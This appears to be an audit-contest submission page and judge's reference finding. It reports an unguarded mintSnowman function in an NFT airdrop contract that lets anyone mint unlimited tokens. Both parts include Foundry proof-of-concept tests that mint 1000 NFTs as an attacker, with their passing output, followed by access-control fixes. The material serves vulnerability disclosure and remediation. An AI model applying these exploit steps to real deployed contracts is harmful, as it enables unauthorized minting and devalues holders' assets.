Snowman Merkle Airdrop
AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Unrestricted `mintSnowman` lets anyone mint the entire NFT supply for free

crisscholte

Description

  • Snowman is the reward NFT of the airdrop. The intended and only legitimate way to obtain one is through SnowmanAirdrop::claimSnowman, which requires the caller to present a valid Merkle proof against the airdrop root, a valid EIP-712 signature from the receiver, and to stake the receiver's Snow tokens into the airdrop contract. SnowmanAirdrop then calls Snowman::mintSnowman to mint the reward.

  • Snowman::mintSnowman is declared external with no access control of any kind. Any address can call it directly with arbitrary arguments and mint any number of NFTs to any recipient. The Merkle tree, the signature check, the staking of Snow, and the eligibility list are all bypassed, because none of them live in the function that actually mints.

contract Snowman is ERC721, Ownable {
error SM__NotAllowed(); // @> declared, and never used anywhere in the codebase
​
@> function mintSnowman(address receiver, uint256 amount) external {
// @> no onlyOwner, no onlyAirdrop, no msg.sender check at all
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
​
emit SnowmanMinted(receiver, s_TokenCounter);
​
s_TokenCounter++;
}
}

Two pieces of evidence in the code itself show the guard was intended and omitted rather than deliberately left open:

  1. Snowman inherits Ownable and sets an owner in its constructor, but onlyOwner is not used on a single function in the contract.

  2. The custom error SM__NotAllowed() is declared at the top of Snowman.sol and is never referenced anywhere in src/.

Risk

Likelihood:

  • The function is external and unguarded, so the attack requires no special position, no prior balance, no signature, and no listing in the Merkle tree. Any address can perform it in a single transaction at any time after deployment.

  • There is no economic barrier. The attacker spends only gas, and needs to hold zero Snow.

Impact:

  • The entire airdrop distribution mechanism is void. NFT allocation no longer bears any relationship to Snow holdings, eligibility, or the Merkle root, which is the protocol's single core invariant.

  • An attacker can mint the collection to themselves without limit, destroying the scarcity and therefore the value of every legitimately claimed Snowman, including those already minted to honest claimants.

  • An attacker can inflate s_TokenCounter arbitrarily, and can mint unsolicited NFTs to any address, since receiver is fully attacker-controlled.

Proof of Concept

The attacker is not in the Merkle tree, holds no Snow, produces no signature, and never interacts with SnowmanAirdrop. Deployment is the project's own Helper.s.sol, so the fixture is the sponsor's, not the reporter's.

function test_C1_anyone_can_mint_unlimited_snowman_for_free() public {
assertEq(nft.balanceOf(attacker), 0, "attacker starts with nothing");
assertEq(snow.balanceOf(attacker), 0, "attacker holds no Snow");
​
// The attacker is not in the merkle tree, holds no Snow, has no signature,
// and never touches the airdrop contract.
vm.prank(attacker);
nft.mintSnowman(attacker, 1000);
​
assertEq(nft.balanceOf(attacker), 1000, "minted 1000 NFTs from nothing");
console2.log("attacker Snowman balance:", nft.balanceOf(attacker));
console2.log("attacker Snow spent :", uint256(0));
​
// COUNTERFACTUAL: is the airdrop needed at all? No - the whole merkle
// + signature + staking system is bypassed entirely.
assertEq(snow.balanceOf(attacker), 0, "no Snow was staked or burned");
}

Result:

[PASS] test_C1_anyone_can_mint_unlimited_snowman_for_free()
attacker Snowman balance: 1000
attacker Snow spent : 0

The value 1000 is arbitrary. The loop bound is the attacker-supplied amount, so the only ceiling is the block gas limit per transaction, and the attack can be repeated across transactions without limit.

Recommended Mitigation

Restrict mintSnowman to the airdrop contract. The contract already inherits Ownable and already declares the error, so the smallest correct fix reuses both: keep mintSnowman owner-only, and transfer ownership of Snowman to the SnowmanAirdrop address at deployment, after the airdrop is deployed.

- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external onlyOwner {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
​
emit SnowmanMinted(receiver, s_TokenCounter);
​
s_TokenCounter++;
}
}

and in the deployment sequence, once SnowmanAirdrop exists:

airdrop = new SnowmanAirdrop(s_MERKLE_ROOT, address(snow), address(nft));
+ nft.transferOwnership(address(airdrop));

If the owner is required for other purposes, use a dedicated immutable minter instead and revert with the already-declared error:

+ address private s_airdrop;
+
+ function setAirdrop(address _airdrop) external onlyOwner {
+ if (s_airdrop != address(0)) revert SM__NotAllowed(); // one-time only
+ s_airdrop = _airdrop;
+ }
+
- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external {
+ if (msg.sender != s_airdrop) revert SM__NotAllowed();
for (uint256 i = 0; i < amount; i++) {
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 6 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!